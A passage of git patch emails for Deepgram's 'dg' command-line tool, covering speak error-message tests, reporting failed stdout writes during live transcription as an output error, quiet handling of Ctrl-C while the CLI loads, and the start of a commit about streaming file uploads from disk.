+            monkeypatch.setattr(sinks.os, "isatty", lambda fd: False)
+            assert _REAL_TAKES_AUDIO() is False
+            monkeypatch.setattr(sinks.os, "isatty", lambda fd: True)
+            assert _REAL_TAKES_AUDIO() is True
+        finally:
+            os.close(r)
+            os.close(w)
+        monkeypatch.setattr(sinks, "stdout_stat", lambda: None)
+        assert _REAL_TAKES_AUDIO() is False
+
+
+# ── Every speak coded error's next_step ─────────────────────────────────
+
+
+class TestNextStepRows:
+    @pytest.mark.parametrize(
+        ("argv", "kw", "expected"),
+        [
+            (
+                ["speak", "hi", "-o", "a", "--out-file", "b"],
+                {"output": "a", "out_file": "b"},
+                "dg speak --help",
+            ),
+            (["speak"], {"text": None}, "dg speak --help"),
+            (["speak", "hi"], {}, "rerun"),
+            (["speak", "-"], {"text": "-"}, None),
+            (["speak", "hi", "-o", "json"], {"output": "json"}, "rerun"),
+            (["speak", "hi", "-o", "text"], {"output": "text"}, "rerun"),
+            (
+                ["speak", "hi", "--out-file", "nope/a.wav"],
+                {"out_file": "nope/a.wav"},
+                None,
+            ),
+        ],
+    )
+    def test_next_step_is_runnable_or_null(self, monkeypatch, argv, kw, expected):
+        result = _pre(argv, monkeypatch, **kw)
+        assert isinstance(result, SpeakCodedError)
+        assert_e10(result.next_step)
+        if expected is None:
+            assert result.next_step is None
+        elif expected == "rerun":
+            assert "--out-file" in shlex.split(result.next_step)
+        else:
+            assert result.next_step == expected
+        # hint, code and schema_version are never null; details omitted
+        # when empty.
+        dump = result.model_dump()
+        assert dump["hint"] and dump["code"] and dump["schema_version"] == 1
+        assert list(dump)[:6] == [
+            "error",
+            "status",
+            "code",
+            "hint",
+            "next_step",
+            "schema_version",
+        ]
diff --git a/packages/deepctl-cmd-speak/tests/unit/test_speak_strings.py b/packages/deepctl-cmd-speak/tests/unit/test_speak_strings.py
new file mode 100644
index 00000000..433db9ee
--- /dev/null
+++ b/packages/deepctl-cmd-speak/tests/unit/test_speak_strings.py
@@ -0,0 +1,62 @@
+"""Speak's messages match the error catalogue (``error_codes.json``)."""
+
+from __future__ import annotations
+
+import json
+import os
+import re
+from pathlib import Path
+
+import pytest
+from deepctl_cmd_speak import messages as msg
+
+# (code, error ID, hint_human, hint_agent, hint_agent_if_next_step_null)
+_WIRING = [
+    ("output_unwritable", "E-OUTPUT-UNWRITABLE", "H-OUTPUT-UNWRITABLE",
+     "A-OUTPUT-UNWRITABLE", None),
+    ("invalid_argument", "E-STDOUT-BYTES", "H-STDOUT-BYTES", "H-STDOUT-BYTES", None),
+    ("invalid_argument", "E-SPEAK-NO-OUTPUT", "H-SPEAK-NO-OUTPUT",
+     "A-SPEAK-NO-OUTPUT", "A-SPEAK-NO-OUTPUT-NULL"),
+    ("invalid_argument", "E-SPEAK-NO-TEXT", "H-SPEAK-NO-TEXT", "H-SPEAK-NO-TEXT", None),
+    ("invalid_argument", "E-OUT-FILE-EXISTS", "H-OUT-FILE-EXISTS",
+     "H-OUT-FILE-EXISTS", None),
+    ("invalid_argument", "E-SPEAK-O-FORMAT", "H-SPEAK-O-FORMAT",
+     "H-SPEAK-O-FORMAT", None),
+    ("invalid_argument", "E-SPEAK-O-TEXT", "H-SPEAK-O-TEXT", "H-SPEAK-O-TEXT", None),
+    ("invalid_argument", "E-SPEAK-OUT-CONFLICT", "H-SPEAK-OUT-CONFLICT",
+     "H-SPEAK-OUT-CONFLICT", None),
+]  # fmt: skip
+
+
+def _ids() -> dict[str, str]:
+    return {
+        name.replace("_", "-"): value
+        for name, value in vars(msg).items()
+        if re.fullmatch(r"[EHAD]_[A-Z0-9_]+", name)
+    }
+
+
+def test_every_wired_id_has_a_string():
+    ids = _ids()
+    assert "A-SPEAK-NO-OUTPUT-ARGV" not in ids  # folded into the NULL variant
+    for _code, *message_ids in _WIRING:
+        for message_id in message_ids:
+            assert message_id is None or message_id in ids, message_id
+
+
+@pytest.mark.skipif(
+    not os.environ.get("DG_ERROR_CODES_JSON"),
+    reason="DG_ERROR_CODES_JSON names no error catalogue file",
+)
+def test_strings_match_catalogue():
+    catalogue = json.loads(Path(os.environ["DG_ERROR_CODES_JSON"]).read_text())
+    for message_id, text in _ids().items():
+        assert catalogue["strings"][message_id] == text, message_id
+    for code, error_id, human, agent, agent_null in _WIRING:
+        entry = catalogue["codes"][code]
+        message = next(m for m in entry["messages"] if m["id"] == error_id)
+        assert message["hint_human"] == human, error_id
+        assert message["hint_agent"] == agent, error_id
+        assert message.get("hint_agent_if_next_step_null") == agent_null, error_id
+    assert msg.CODE_INVALID_ARGUMENT in catalogue["codes"]
+    assert msg.CODE_OUTPUT_UNWRITABLE in catalogue["codes"]
diff --git a/src/deepctl/_manifest.d/speak.json b/src/deepctl/_manifest.d/speak.json
index e6469999..b91768e1 100644
--- a/src/deepctl/_manifest.d/speak.json
+++ b/src/deepctl/_manifest.d/speak.json
@@ -8,7 +8,7 @@
   "requires_auth": true,
   "help": {
     "name": "speak",
-    "help": "Convert text to speech using Deepgram TTS\n\nExamples:\n  dg speak \"Hello from Deepgram\" --play\n  dg speak --list-voices\n  dg speak \"Hello world\"\n  dg speak \"Hello world\" --out-file hello.wav\n  dg speak \"Hello world\" --out-file hello.wav --play\n  dg speak --file message.txt --out-file output.wav\n  dg speak \"Hello\" | ffplay -loglevel error -nodisp -autoexit -\n  dg speak \"A little slower, please\" --speed 0.9 --out-file slow.wav\n  dg speak \"So exciting!\" --expressivity 2 --out-file lively.wav  # beta; default: 0\n  dg speak \"Hello\" -m aura-2-asteria-en --out-file hello.mp3\n  dg speak \"Hello\" -m aura-2-luna-en --out-file hello.wav --encoding linear16 --container wav\n  echo \"Hello\" | dg speak --out-file hello.mp3 -m aura-2-asteria-en\n  dg speak \"Hola, mundo\" -m aura-2-selena-es --out-file hola.mp3\n\n\nFor agents, use --agent-friendly.",
+    "help": "Convert text to speech using Deepgram TTS\n\nExamples:\n  dg speak \"Hello from Deepgram\" --play\n  dg speak --list-voices\n  dg speak \"Hello world\"\n  dg speak \"Hello world\" --out-file hello.wav\n  dg speak \"Hello world\" --out-file hello.wav --play\n  dg speak --file message.txt --out-file output.wav\n  dg speak \"Hello\" | ffplay -loglevel error -nodisp -autoexit -\n  dg speak \"A little slower, please\" --speed 0.9 --out-file slow.wav\n  dg speak \"So exciting!\" --expressivity 2 --out-file lively.wav  # beta; default: 0\n  dg speak \"Hello\" -m aura-2-asteria-en --out-file hello.mp3\n  dg speak \"Hello\" -m aura-2-luna-en --out-file hello.wav --encoding linear16 --container wav\n  echo \"Hello\" | dg speak - --out-file hello.mp3 -m aura-2-asteria-en\n  dg speak \"Hola, mundo\" -m aura-2-selena-es --out-file hola.mp3\n\n\nFor agents, use --agent-friendly.",
     "short_help": "Text-to-speech",
     "epilog": null,
     "hidden": false,

From c9158915c2e61ea91c7a910c34649fe8309b5216 Mon Sep 17 00:00:00 2001
From: Corey Weathers <corey.weathers@deepgram.com>
Date: Sat, 31 Oct 2026 18:53:21 -0400
Subject: [PATCH 21/88] fix(listen): report a failed stdout write as an output
 error

When stdout couldn't be written during a live stream (dg listen - >
/dev/full), the receive loop took the ENOSPC for a dropped connection:
the run printed a network hint, then failed again flushing stdout at
exit and ended with "Exception ignored" and exit 120.

A stdout write error other than EPIPE, in the receive loop, while
flushing Flux's last turns, or while writing the final result, is now
reported as output_unwritable. fd 1 is pointed at the null device, the
error and hint go to stderr, the finals received so far travel in
details, and the run exits 1. EPIPE still ends quietly. A failed write of a coded error
also silences stdout, so the exit flush can't fail.

The stdin catch-all now takes only read errors; an error of any other
kind is reported without the stdin hint.

Live listen now takes die_by_signal from deepctl_core.signals, the one
copy speak also uses.
---
 .../src/deepctl_cmd_listen/command.py         |  66 +++++-
 .../src/deepctl_cmd_listen/live.py            |  52 ++---
 .../src/deepctl_cmd_listen/messages.py        |  15 ++
 .../tests/unit/test_listen_output.py          | 189 ++++++++++++++++++
 .../tests/unit/test_live.py                   |  40 ++++
 5 files changed, 333 insertions(+), 29 deletions(-)
 create mode 100644 packages/deepctl-cmd-listen/tests/unit/test_listen_output.py

diff --git a/packages/deepctl-cmd-listen/src/deepctl_cmd_listen/command.py b/packages/deepctl-cmd-listen/src/deepctl_cmd_listen/command.py
index 01a48ed7..a1828a3d 100644
--- a/packages/deepctl-cmd-listen/src/deepctl_cmd_listen/command.py
+++ b/packages/deepctl-cmd-listen/src/deepctl_cmd_listen/command.py
@@ -188,6 +188,10 @@ class ListenCommand(BaseCommand):
     _ws_host: str = ""
     #: Set after a SIGTERM drain; exit_code_for re-raises it.
     _reraise_signal: int | None = None
+    #: The finals kept by the last live session, for a late stdout failure.
+    _live_kept: dict[str, Any] | None = None
+    #: Writing the final result to stdout failed; the run exits 1.
+    _output_failed: bool = False
 
     examples = [
         "dg listen audio.mp3",
@@ -1232,6 +1236,10 @@ def _finish_live(
                 self._flush_v2(v2_state, transcript_acc, caption_writer=caption_writer)
             except BrokenPipeError:
                 live.silence_stdout()
+            except OSError as exc:
+                live.silence_stdout()
+                if outcome.status == "success":
+                    outcome = live.output_failed(exc)
 
         if outcome.status == "cancelled":
             status.print("\n[yellow]Stopped.[/yellow]")
@@ -1266,6 +1274,7 @@ def kept() -> dict[str, Any]:
                 out["saved_to"] = saved_to
             return out
 
+        self._live_kept = kept()
         if outcome.status == "drain_timeout":
             limit = round(outcome.drain_limit_s, 3)
             template = (
@@ -1311,7 +1320,9 @@ def kept() -> dict[str, Any]:
                 },
             )
 
-        if outcome.status == "error":
+        if outcome.status == "error" and outcome.kind == "output":
+            return self._output_unwritable(outcome.os_error or "", kept())
+        if outcome.status == "error" and outcome.kind == "read":
             # Reading stdin failed (EISDIR, EBADF, EIO on a hang-up). The
             # fix is the same as for a missing source: pass a file or URL.
             return self._coded_failure(
@@ -1323,6 +1334,16 @@ def kept() -> dict[str, Any]:
                 next_step=f"{_prog()} {self.name} --help",
             )
 
+        if outcome.status == "error":
+            # An error of no known kind: report it without a stdin hint.
+            return self._coded_failure(
+                outcome.error or msg.E_LISTEN_CONNECTION_LOST,
+                code=msg.CODE_NETWORK_UNAVAILABLE,
+                hint_human=msg.H_NETWORK,
+                hint_agent=msg.A_NETWORK.format(prog=_prog()),
+                details={"host": self._ws_host, "reason": "connection lost", **kept()},
+            )
+
         result = ListenResult(
             status="success",
             source=source,
@@ -1361,14 +1382,30 @@ def _coded_failure(
             error=text, code=code, hint=hint, next_step=next_step, details=details
         )
 
+    def _output_unwritable(
+        self, os_error: str, kept: dict[str, Any]
+    ) -> ListenCodedError:
+        """stdout couldn't be written: fd 1 is already silenced,
+        so the envelope goes to stderr only, as its two lines."""
+        return self._coded_failure(
+            msg.E_OUTPUT_UNWRITABLE.format(output="stdout", reason=os_error),
+            code=msg.CODE_OUTPUT_UNWRITABLE,
+            hint_human=msg.H_OUTPUT_UNWRITABLE,
+            hint_agent=msg.A_OUTPUT_UNWRITABLE.format(prog=_prog(), reason=os_error),
+            details={"path": "-", "reason": os_error, **kept},
+        )
+
     def exit_code_for(self, result: Any) -> int:
         """A SIGTERM-drained stream ends by SIGTERM itself: the
-        result is already written, so flush and re-raise it here."""
+        result is already written, so flush and re-raise it here. A final
+        result that couldn't be written to stdout exits 1."""
         if self._reraise_signal is not None:
             signum, self._reraise_signal = self._reraise_signal, None
             from . import live
 
             live.die_by_signal(signum)
+        if self._output_failed:
+            return 1
         return super().exit_code_for(result)
 
     # ── Shared WebSocket helpers ───────────────────────────────────────
@@ -1512,7 +1549,12 @@ def _print_final(self, line: str) -> None:
             print(line, flush=True)
         else:
             if self._verbose:
-                print_info(escape(line), stderr=True)
+                try:
+                    print_info(escape(line), stderr=True)
+                except OSError:
+                    # A failing stderr is not a failing stdout: keep
+                    # streaming, and keep the result that is the payload.
+                    pass
 
     def _print_interim(self, text: str) -> None:
         """An interim rewrite; dropped under a machine format."""
@@ -1686,10 +1728,26 @@ def _default(obj: Any) -> str:
             except BrokenPipeError:
                 # The reader went away (`| true`): end quietly, exit as is.
                 live.silence_stdout()
+            except OSError as exc:
+                # stdout can't take the result (ENOSPC, EIO): output_unwritable
+                # on stderr, exit 1.
+                live.silence_stdout()
+                reason = live.output_failed(exc).os_error or ""
+                kept = self._live_kept or {
+                    "transcript": result.transcript,
+                    "transcript_chars": len(result.transcript),
+                }
+                self._output_unwritable(reason, kept)
+                self._output_failed = True
             return
 
         if not isinstance(result, ListenResult) or result.status != "success":
-            super().output_result(result, config)
+            try:
+                super().output_result(result, config)
+            except OSError:
+                # Already reported on stderr; keep the exit flush from
+                # failing again on a full or broken stdout.
+                live.silence_stdout()
             return
 
         # Caption mode: print captions to stdout regardless of output format
diff --git a/packages/deepctl-cmd-listen/src/deepctl_cmd_listen/live.py b/packages/deepctl-cmd-listen/src/deepctl_cmd_listen/live.py
index 85f743c0..32d28e92 100644
--- a/packages/deepctl-cmd-listen/src/deepctl_cmd_listen/live.py
+++ b/packages/deepctl-cmd-listen/src/deepctl_cmd_listen/live.py
@@ -38,6 +38,7 @@
 from typing import TYPE_CHECKING, Any
 
 import click
+from deepctl_core.signals import die_by_signal as die_by_signal  # re-export
 
 from . import messages as msg
 
@@ -230,8 +231,11 @@ class LiveOutcome:
     #: Error text for "error" (already scrubbed and safe to print).
     error: str | None = None
     #: For "error": "server" (error close or error frame), "network" (the
-    #: connection dropped) or "read" (stdin failed).
+    #: connection dropped), "read" (stdin failed) or "output" (stdout
+    #: couldn't be written; fd 1 now points at the null device).
     kind: str | None = None
+    #: For an "output" error: the OS error text (strerror), cleaned.
+    os_error: str | None = None
     #: The server's close code, for a "server" error that closed the socket.
     close_code: int | None = None
     #: The request id the server reported, when it sent one.
@@ -336,6 +340,18 @@ def silence_stdout() -> None:
         pass
 
 
+def output_failed(exc: OSError, secrets: tuple[str, ...] = ()) -> LiveOutcome:
+    """The outcome for a stdout write that failed with something other
+    than EPIPE."""
+    reason = _clean(exc.strerror or exc, 200, secrets) or exc.__class__.__name__
+    return LiveOutcome(
+        status="error",
+        kind="output",
+        error=msg.E_OUTPUT_UNWRITABLE.format(output="stdout", reason=reason),
+        os_error=reason,
+    )
+
+
 def _is_connection_closed(exc: BaseException) -> bool:
     try:
         from websockets.exceptions import ConnectionClosed
@@ -455,29 +471,6 @@ def restore(self) -> None:
             self._installed = False
 
 
-def die_by_signal(signum: int) -> None:
-    """End the process by ``signum`` with its default action, so the wait
-    status is "killed by signal N" (shells report 128+N).
-
-    PID 1 in a container ignores a default-action signal, so if the process
-    is still here afterwards it exits with the shell's 128+N.
-    """
-    import sys
-
-    for stream in (sys.stdout, sys.stderr):
-        try:
-            stream.flush()
-        except Exception:
-            pass
-    try:
-        signal.signal(signum, signal.SIG_DFL)
-        os.kill(os.getpid(), signum)
-        time.sleep(0.05)
-    except Exception:
-        pass
-    os._exit(128 + signum)
-
-
 async def _cancel_all(*tasks: asyncio.Task[Any] | None) -> None:
     live = [t for t in tasks if t is not None]
     for task in live:
@@ -554,7 +547,16 @@ async def receive() -> LiveOutcome | None:
         try:
             async for raw in ws:
                 track(raw)
-                on_message(raw)
+                try:
+                    on_message(raw)
+                except BrokenPipeError:
+                    raise
+                except OSError as exc:
+                    # stdout can't be written (ENOSPC, EIO, ...): an output
+                    # failure, not a network one. Silence fd 1 so the exit
+                    # flush can't fail again.
+                    silence_stdout()
+                    return output_failed(exc, secrets)
         except BrokenPipeError:
             # Whoever read stdout is gone (``| head -n 1``): end quietly.
             silence_stdout()
diff --git a/packages/deepctl-cmd-listen/src/deepctl_cmd_listen/messages.py b/packages/deepctl-cmd-listen/src/deepctl_cmd_listen/messages.py
index f8d51f3e..9d812f79 100644
--- a/packages/deepctl-cmd-listen/src/deepctl_cmd_listen/messages.py
+++ b/packages/deepctl-cmd-listen/src/deepctl_cmd_listen/messages.py
@@ -12,6 +12,7 @@
 CODE_STREAM_DRAIN_TIMEOUT = "stream_drain_timeout"
 CODE_SERVER_ERROR = "server_error"
 CODE_NETWORK_UNAVAILABLE = "network_unavailable"
+CODE_OUTPUT_UNWRITABLE = "output_unwritable"
 
 # invalid_argument: a hard agent signal, no SOURCE, no --mic.
 E_LISTEN_NO_SOURCE = (
@@ -83,3 +84,17 @@
 
 # network_unavailable: the connection dropped without a closing handshake.
 E_LISTEN_CONNECTION_LOST = "The connection to the server was lost."
+
+# output_unwritable: writing the transcript or the final result to stdout
+# failed with an error other than EPIPE (ENOSPC, EIO, ...).
+# {reason} is details.reason. The texts are shared with speak.
+E_OUTPUT_UNWRITABLE = "Couldn't write the output to {output}: {reason}."
+H_OUTPUT_UNWRITABLE = (
+    "Choose another destination, or fix this one (free space, permissions), "
+    "then try again."
+)
+A_OUTPUT_UNWRITABLE = (
+    "If you chose this destination, choose another one. Otherwise tell the "
+    "user {prog} couldn't write its output ({reason}), and don't retry until "
+    "it's fixed."
+)
diff --git a/packages/deepctl-cmd-listen/tests/unit/test_listen_output.py b/packages/deepctl-cmd-listen/tests/unit/test_listen_output.py
new file mode 100644
index 00000000..727a8af6
--- /dev/null
+++ b/packages/deepctl-cmd-listen/tests/unit/test_listen_output.py
@@ -0,0 +1,189 @@
+"""Live listen: a failed stdout write is output_unwritable, not a network
+error, and the stdin catch-all only takes read errors."""
+
+from __future__ import annotations
+
+import errno
+import os
+from unittest.mock import Mock
+
+import pytest
+from deepctl_cmd_listen import command as listen_cmd
+from deepctl_cmd_listen import live
+from deepctl_cmd_listen.command import ListenCommand
+from deepctl_cmd_listen.models import ListenCodedError, ListenResult
+from deepctl_core import Config
+
+
+@pytest.fixture
+def command(monkeypatch):
+    monkeypatch.setattr(listen_cmd, "is_ai_agent", lambda: True)
+    return ListenCommand()
+
+
+def _finish(command, outcome, **kw):
+    return command._finish_live(
+        outcome,
+        source="stdin",
+        model="nova-3",
+        language="en",
+        diarize=False,
+        transcript_acc=kw.get("acc", ["hello", "world"]),
+        caption_writer=None,
+        caption_format=None,
+        save_to=kw.get("save_to"),
+        v2_state=kw.get("v2_state"),
+    )
+
+
+def test_output_outcome_is_output_unwritable_with_the_kept_finals(command, capsys):
+    outcome = live.LiveOutcome(
+        status="error",
+        kind="output",
+        error="Couldn't write the output to stdout: No space left on device.",
+        os_error="No space left on device",
+    )
+    result = _finish(command, outcome)
+    assert isinstance(result, ListenCodedError)
+    assert result.code == "output_unwritable"
+    assert (
+        result.error == "Couldn't write the output to stdout: No space left on device."
+    )
+    assert result.hint == (
+        "If you chose this destination, choose another one. Otherwise tell the "
+        "user dg couldn't write its output (No space left on device), and don't "
+        "retry until it's fixed."
+    )
+    assert result.next_step is None
+    assert result.details == {
+        "path": "-",
+        "reason": "No space left on device",
+        "transcript": "hello world",
+        "transcript_chars": 11,
+    }
+    assert command.exit_code_for(result) == 1
+    err = capsys.readouterr().err
+    assert "network" not in err.lower()
+
+
+def test_person_gets_the_human_hint(command, monkeypatch):
+    monkeypatch.setattr(listen_cmd, "is_ai_agent", lambda: False)
+    monkeypatch.setattr(listen_cmd, "_agentic", False)
+    outcome = live.LiveOutcome(
+        status="error", kind="output", os_error="Input/output error"
+    )
+    result = _finish(command, outcome)
+    assert result.hint == (
+        "Choose another destination, or fix this one (free space, permissions), "
+        "then try again."
+    )
+
+
+def test_stdin_catch_all_takes_read_errors_only(command):
+    read = _finish(
+        command,
+        live.LiveOutcome(
+            status="error", kind="read", error="Couldn't read audio from stdin: x."
+        ),
+    )
+    assert read.code == "invalid_argument"
+    assert read.next_step == "dg listen --help"
+    other = _finish(
+        command, live.LiveOutcome(status="error", kind="mystery", error="boom")
+    )
+    assert other.code == "network_unavailable"
+    assert other.next_step is None
+
+
+def test_flux_flush_failure_is_output_unwritable(command, monkeypatch):
+    silenced = []
+    monkeypatch.setattr(live, "silence_stdout", lambda: silenced.append(True))
+
+    def flush(*a, **kw):
+        raise OSError(errno.ENOSPC, "No space left on device")
+
+    monkeypatch.setattr(command, "_flush_v2", flush)
+    result = _finish(command, live.LiveOutcome(), v2_state={"order": [], "turns": {}})
+    assert result.code == "output_unwritable"
+    assert silenced == [True]
+
+
+def test_final_result_write_failure_is_reported_and_exits_1(
+    command, monkeypatch, capsys
+):
+    silenced = []
+    monkeypatch.setattr(live, "silence_stdout", lambda: silenced.append(True))
+    monkeypatch.setattr(listen_cmd, "get_output_format", lambda: "json")
+    stdout = Mock()
+    stdout.write.side_effect = OSError(errno.ENOSPC, "No space left on device")
+    monkeypatch.setattr(listen_cmd.sys, "stdout", stdout)
+    result = ListenResult(status="success", mode="live", transcript="hi there")
+
+    command.output_result(result, Mock(spec=Config))
+
+    assert silenced == [True]
+    assert command.exit_code_for(result) == 1
+    err = capsys.readouterr().err
+    assert "Couldn't write the output to stdout: No space left on device." in err
+
+
+def test_final_result_epipe_stays_quiet(command, monkeypatch, capsys):
+    monkeypatch.setattr(live, "silence_stdout", lambda: None)
+    monkeypatch.setattr(listen_cmd, "get_output_format", lambda: "json")
+    stdout = Mock()
+    stdout.write.side_effect = BrokenPipeError(errno.EPIPE, "Broken pipe")
+    monkeypatch.setattr(listen_cmd.sys, "stdout", stdout)
+    result = ListenResult(status="success", mode="live", transcript="hi")
+
+    command.output_result(result, Mock(spec=Config))
+
+    assert command.exit_code_for(result) == 0
+    assert capsys.readouterr().err == ""
+
+
+def test_coded_error_write_failure_silences_stdout(command, monkeypatch):
+    silenced = []
+    monkeypatch.setattr(live, "silence_stdout", lambda: silenced.append(True))
+    monkeypatch.setattr(
+        listen_cmd.BaseCommand,
+        "output_result",
+        Mock(side_effect=OSError(errno.ENOSPC, "No space left on device")),
+    )
+    result = ListenCodedError(error="x", code="server_error", hint="h")
+    command.output_result(result, Mock(spec=Config))
+    assert silenced == [True]
+
+
+@pytest.mark.parametrize("exc", [OSError(errno.ENOSPC, "full"), BrokenPipeError()])
+def test_verbose_stderr_failure_is_not_a_stdout_failure(command, monkeypatch, exc):
+    """An INFO line that can't reach stderr leaves stdout and the
+    session alone."""
+    command._echo = False
+    command._verbose = True
+    monkeypatch.setattr(listen_cmd, "print_info", Mock(side_effect=exc))
+    command._print_final("hello")  # does not raise
+
+
+@pytest.mark.skipif(
+    not os.environ.get("DG_ERROR_CODES_JSON"),
+    reason="DG_ERROR_CODES_JSON names no error catalogue file",
+)
+def test_strings_match_catalogue():
+    """Listen's messages, the output_unwritable texts shared with speak
+    included, match the error catalogue."""
+    import json
+    import re
+    from pathlib import Path
+
+    from deepctl_cmd_listen import messages as msg
+
+    catalogue = json.loads(Path(os.environ["DG_ERROR_CODES_JSON"]).read_text())
+    for name, text in vars(msg).items():
+        if re.fullmatch(r"[EHAD]_[A-Z0-9_]+", name):
+            assert catalogue["strings"][name.replace("_", "-")] == text, name
+    message = catalogue["codes"]["output_unwritable"]["messages"][0]
+    assert (message["id"], message["hint_human"], message["hint_agent"]) == (
+        "E-OUTPUT-UNWRITABLE",
+        "H-OUTPUT-UNWRITABLE",
+        "A-OUTPUT-UNWRITABLE",
+    )
diff --git a/packages/deepctl-cmd-listen/tests/unit/test_live.py b/packages/deepctl-cmd-listen/tests/unit/test_live.py
index f4a1e09e..e11603b4 100644
--- a/packages/deepctl-cmd-listen/tests/unit/test_live.py
+++ b/packages/deepctl-cmd-listen/tests/unit/test_live.py
@@ -812,6 +812,46 @@ async def main():
     assert silenced == [True]
 
 
+@pytest.mark.parametrize(
+    ("err", "text"),
+    [
+        (28, "No space left on device"),
+        (5, "Input/output error"),
+        (27, "File too large"),
+    ],
+)
+def test_other_stdout_write_errors_are_output_failures(monkeypatch, err, text):
+    """ENOSPC/EIO/EFBIG on stdout is not a network failure."""
+    silenced = []
+    monkeypatch.setattr(live, "silence_stdout", lambda: silenced.append(True))
+    install_fake_websockets(monkeypatch, FakeWS([_result("a"), _result("b")]))
+    seen = []
+
+    def on_message(raw):
+        seen.append(raw)
+        raise OSError(err, text)
+
+    async def main():
+        return await live.run_session(
+            "wss://x",
+            {},
+            on_message=on_message,
+            queue=asyncio.Queue(),
+            closing=threading.Event(),
+            start_source=lambda: None,
+            keepalive=False,
+            byte_rate=0,
+        )
+
+    outcome = run(main())
+    assert outcome.status == "error"
+    assert outcome.kind == "output"
+    assert outcome.os_error == text
+    assert outcome.error == f"Couldn't write the output to stdout: {text}."
+    assert silenced == [True]
+    assert len(seen) == 1  # stopped at the first failed write
+
+
 # ── SIGTERM and non-blocking stdin ─────────────────────────────────────────
 
 

From 155028486a9243f065455b2cfc933bb729b808e8 Mon Sep 17 00:00:00 2001
From: Corey Weathers <corey.weathers@deepgram.com>
Date: Sun, 1 Nov 2026 01:32:37 -0400
Subject: [PATCH 22/88] fix(cli): treat Ctrl-C while the CLI is loading as
 cancelled

A Ctrl-C in the first few hundred milliseconds, while main() imports
the CLI, reached the top level as KeyboardInterrupt and printed a
traceback with exit 1. It is now a cancelled run, like a Ctrl-C once
run() has started: the same "Operation cancelled by user" line on
stderr, exit 2, and no traceback.

main() also replaces Python's default SIGINT handler with one that
holds a Ctrl-C back for a moment (at most 200 ms) when it lands in
importlib's own code. A KeyboardInterrupt raised there can be swallowed
and leave the import lock held, so the run then hangs on its next
import.
---
 conftest.py                    | 11 +++++++++++
 src/deepctl/main.py            | 15 ++++++++++++++-
 tests/unit/test_entry_point.py | 27 +++++++++++++++++++++++++++
 3 files changed, 52 insertions(+), 1 deletion(-)

diff --git a/conftest.py b/conftest.py
index 22734911..86d564bc 100644
--- a/conftest.py
+++ b/conftest.py
@@ -77,3 +77,14 @@ def _disable_telemetry(monkeypatch):
     """
     monkeypatch.setenv("DEEPCTL_TELEMETRY_DISABLED", "1")
     monkeypatch.setenv("DEEPCTL_TELEMETRY_DSN", "http://k@127.0.0.1:9/1")
+
+
+@pytest.fixture(autouse=True)
+def _restore_sigint():
+    """`main()` installs its own SIGINT handler; put pytest's back."""
+    import signal
+
+    before = signal.getsignal(signal.SIGINT)
+    yield
+    if before is not None:
+        signal.signal(signal.SIGINT, before)
diff --git a/src/deepctl/main.py b/src/deepctl/main.py
index 91a60e5a..bd978948 100644
--- a/src/deepctl/main.py
+++ b/src/deepctl/main.py
@@ -182,7 +182,20 @@ def main(prog: "str | None" = None) -> None:
 
     safe_output_streams()
     sys.excepthook = _rich_excepthook
-    from deepctl._cli import run
+    try:
+        from deepctl_core.signals import install_interrupt_handler
+
+        install_interrupt_handler()
+        from deepctl._cli import run
+    except KeyboardInterrupt:
+        # Ctrl-C while the CLI is still loading: cancelled, exit 2, the same
+        # line run() prints (rich may not be loaded yet), and no traceback.
+        try:
+            sys.stderr.write("\nOperation cancelled by user\n")
+            sys.stderr.flush()
+        except (AttributeError, OSError, ValueError):
+            pass
+        sys.exit(2)
 
     run(args, started_at, prog)
 
diff --git a/tests/unit/test_entry_point.py b/tests/unit/test_entry_point.py
index 7490c51b..52d8cca2 100644
--- a/tests/unit/test_entry_point.py
+++ b/tests/unit/test_entry_point.py
@@ -253,3 +253,30 @@ def test_import_httpx_skips_its_cli(self, tmp_path: Path) -> None:
         proc = _run([sys.executable, "-c", code], tmp_path)
         assert proc.returncode == 0, proc.stderr
         assert proc.stderr.split()[-3:] == ["False", "True", "True"], proc.stderr
+
+
+class TestInterruptWhileLoading:
+    def test_ctrl_c_while_the_cli_loads_is_cancelled_quietly(
+        self, monkeypatch: pytest.MonkeyPatch, capsys: pytest.CaptureFixture[str]
+    ) -> None:
+        """A Ctrl-C before run() is entered is cancelled: exit 2, run()'s
+        cancel line, no traceback."""
+        from deepctl import main as entry
+
+        class Interrupts:
+            def find_spec(self, name: str, *args: object) -> None:
+                if name == "deepctl._cli":
+                    raise KeyboardInterrupt
+                return None
+
+        monkeypatch.delitem(sys.modules, "deepctl._cli", raising=False)
+        monkeypatch.setattr(sys, "meta_path", [Interrupts(), *sys.meta_path])
+        monkeypatch.setattr(sys, "argv", ["dg", "speak", "hi"])
+        monkeypatch.setattr(sys, "excepthook", sys.excepthook)
+        with pytest.raises(SystemExit) as exc:
+            entry.main()
+        assert exc.value.code == 2
+        captured = capsys.readouterr()
+        assert "Traceback" not in captured.err
+        assert captured.err == "\nOperation cancelled by user\n"
+        assert captured.out == ""

From 8cc787edb8251caface7480b803b3747f9a04a72 Mon Sep 17 00:00:00 2001
From: Corey Weathers <corey.weathers@deepgram.com>
Date: Sat, 31 Oct 2026 18:23:32 -0400
Subject: [PATCH 23/88] perf(listen): stream prerecorded uploads from disk

dg listen <file> read the whole file into memory before sending it, so
a 500 MB file peaked at 1.6 GB RSS. The file now goes to the SDK as a
FileBody (deepctl_core/upload.py) with an explicit Content-Length, read
in 1 MiB chunks as httpx sends them. httpx sends no chunked encoding.

- FileBody opens the file once and keeps the descriptor. Each pass
  reads from offset 0 of that descriptor, so the SDK's retries (connect
  errors, a connection dropped before the response, 408/409/429/5xx)
  resend the whole file, and a file swapped in at the same path between
  retries is never sent.
- The file validated is the file uploaded: listen takes the file's
  (st_dev, st_ino) before validating it, and FileBody compares the
  opened descriptor against it. A path swapped in between stops with
  E-UPLOAD-FILE-CHANGED before anything is sent.
- Before each chunk, and after the last, the descriptor's size and
  mtime are compared with the values at open. A change stops the upload
  with invalid_argument E-UPLOAD-FILE-CHANGED; a failed read with
  E-UPLOAD-FILE-UNREADABLE. Both print the two stderr lines and the
  coded result a transport error does, with next_step null and
  details.path.
- A pipe or device (dg listen <(...) --no-validate) is read once at
  open, as before, so a retry can resend it.
- The descriptor closes when the request finishes.
---
 .../src/deepctl_cmd_listen/command.py         |  23 +-
 .../tests/unit/test_prerecorded_upload.py     |  95 +++++
 .../deepctl-core/src/deepctl_core/client.py   |  27 +-
 .../deepctl-core/src/deepctl_core/upload.py   | 210 ++++++++++
 .../deepctl-core/tests/unit/test_client.py    |  19 +-
 .../deepctl-core/tests/unit/test_upload.py    | 359 ++++++++++++++++++
 6 files changed, 715 insertions(+), 18 deletions(-)
